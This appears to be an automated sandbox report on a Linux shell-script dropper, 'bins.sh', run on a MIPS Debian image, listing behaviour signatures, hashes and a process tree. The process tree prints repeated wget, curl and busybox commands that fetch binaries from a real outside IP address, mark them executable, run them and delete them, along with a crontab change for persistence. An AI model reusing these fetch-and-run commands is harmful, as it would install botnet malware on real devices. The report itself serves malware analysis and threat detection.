Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    16/11/2024, 19:02

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241116-xprt7ssarp
  • SHA256 41c9eb44e281e571e0870316123197d86f3a23a680d644b2a4318fefa0b5cbe9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2037) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:716
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Writes file to tmp directory
          PID:725
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Writes file to tmp directory
          PID:747
        • /bin/chmod
          chmod 777 GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          ./GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Executes dropped EXE
          PID:749
        • /bin/rm
          rm GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
            PID:751
          • /usr/bin/wget
            wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Writes file to tmp directory
            PID:752
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Writes file to tmp directory
            PID:753
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Writes file to tmp directory
            PID:754
          • /bin/chmod
            chmod 777 VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • File and Directory Permissions Modification
            PID:755
          • /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            ./VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Executes dropped EXE
            PID:756
          • /bin/rm
            rm VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
              PID:758
            • /usr/bin/wget
              wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Writes file to tmp directory
              PID:759
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Writes file to tmp directory
              PID:762
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Writes file to tmp directory
              PID:775
            • /bin/chmod
              chmod 777 NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • File and Directory Permissions Modification
              PID:780
            • /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              ./NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:782
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:784
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:786
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:788
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:789
                  • /bin/rm
                    rm NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
                    2⤵
                      PID:796
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                      2⤵
                        PID:800
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                        2⤵
                          PID:886
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                          2⤵
                          • Writes file to tmp directory
                          PID:888
                        • /bin/chmod
                          chmod 777 oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                          2⤵
                          • File and Directory Permissions Modification
                          PID:898
                        • /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                          ./oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                          2⤵
                          • Executes dropped EXE
                          PID:899
                        • /bin/rm
                          rm oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                          2⤵
                            PID:903
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                            2⤵
                              PID:904
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                              2⤵
                                PID:907
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                                2⤵
                                • Writes file to tmp directory
                                PID:913
                              • /bin/chmod
                                chmod 777 nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                                2⤵
                                • File and Directory Permissions Modification
                                PID:916
                              • /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                                ./nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                                2⤵
                                • Executes dropped EXE
                                PID:917
                              • /bin/rm
                                rm nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                                2⤵
                                  PID:919
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                  2⤵
                                    PID:920
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                    2⤵
                                      PID:921
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:926
                                    • /bin/chmod
                                      chmod 777 Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:927
                                    • /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                      ./Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                      2⤵
                                      • Executes dropped EXE
                                      PID:928
                                    • /bin/rm
                                      rm Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                      2⤵
                                        PID:930
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                        2⤵
                                          PID:931
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                          2⤵
                                            PID:932
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:933
                                          • /bin/chmod
                                            chmod 777 sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:934
                                          • /tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                            ./sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                            2⤵
                                            • Executes dropped EXE
                                            PID:935
                                          • /bin/rm
                                            rm sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                            2⤵
                                              PID:937
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                              2⤵
                                                PID:938
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                                2⤵
                                                  PID:939
                                                • /bin/busybox
                                                  /bin/busybox wget http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:940
                                                • /bin/chmod
                                                  chmod 777 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:945
                                                • /tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                                  ./6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:946
                                                • /bin/rm
                                                  rm 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                                  2⤵
                                                    PID:950
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:951
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:1036
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    • Writes file to tmp directory
                                                    PID:1043
                                                  • /bin/chmod
                                                    chmod 777 iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:1054
                                                  • /tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                                    ./iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                                    2⤵
                                                    • Executes dropped EXE
                                                    • System Network Configuration Discovery
                                                    PID:1056
                                                  • /bin/rm
                                                    rm iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:1058
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                                                    2⤵
                                                      PID:1059
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                                                      2⤵
                                                        PID:1062
                                                      • /bin/busybox
                                                        /bin/busybox wget http://216.126.231.240/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1064
                                                      • /bin/chmod
                                                        chmod 777 na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1072
                                                      • /tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                                                        ./na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:1073
                                                      • /bin/rm
                                                        rm na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                                                        2⤵
                                                          PID:1075
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
                                                          2⤵
                                                            PID:1076
                                                          • /usr/bin/curl
                                                            curl -O http://216.126.231.240/bins/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
                                                            2⤵
                                                              PID:1077

                                                          Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB

                                                                • Path /tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                                                • Size 111KB
                                                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                GkADRUpSSm0RUj5aype8y9pTa8mHIFil12

                                                                • Path /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
                                                                • Size 112KB
                                                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2

                                                                • Path /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                                                • Size 119KB
                                                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW

                                                                • Path /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
                                                                • Size 151KB
                                                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg

                                                                • Path /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
                                                                • Size 98KB
                                                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL

                                                                • Path /tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                                                • Size 127KB
                                                                • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf

                                                                • Path /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                                                                • Size 99KB
                                                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU

                                                                • Path /tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                                                                • Size 111KB
                                                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D

                                                                • Path /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                                                                • Size 117KB
                                                                • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr

                                                                • Path /tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                                                • Size 151KB
                                                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                tmp.trLY51

                                                                • Path /var/spool/cron/crontabs/tmp.trLY51
                                                                • Size 210B
                                                                • SHA256 4ef85434f7b179b42007f648fdbf05e7aa8f6f49c4f4513479a5316e65696f5c
                                                                • MD5 SHA1 SHA512